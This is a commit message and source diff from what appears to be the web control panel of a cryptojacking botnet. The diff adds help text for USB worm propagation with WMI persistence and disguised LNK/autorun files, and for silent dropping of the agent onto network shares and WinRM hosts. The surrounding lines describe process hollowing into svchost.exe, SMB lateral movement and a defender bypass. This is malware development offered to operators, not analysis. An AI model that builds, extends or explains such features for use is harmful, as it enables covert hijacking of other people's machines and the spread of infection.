Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.

server/web/src/help/settingHelp.ts

@@ -98,6 +98,8 @@ export const FIELD_HELP: Record<string, string> = {
   process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
   mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
   auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
+  usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
+  share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
   hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
   remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
   target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',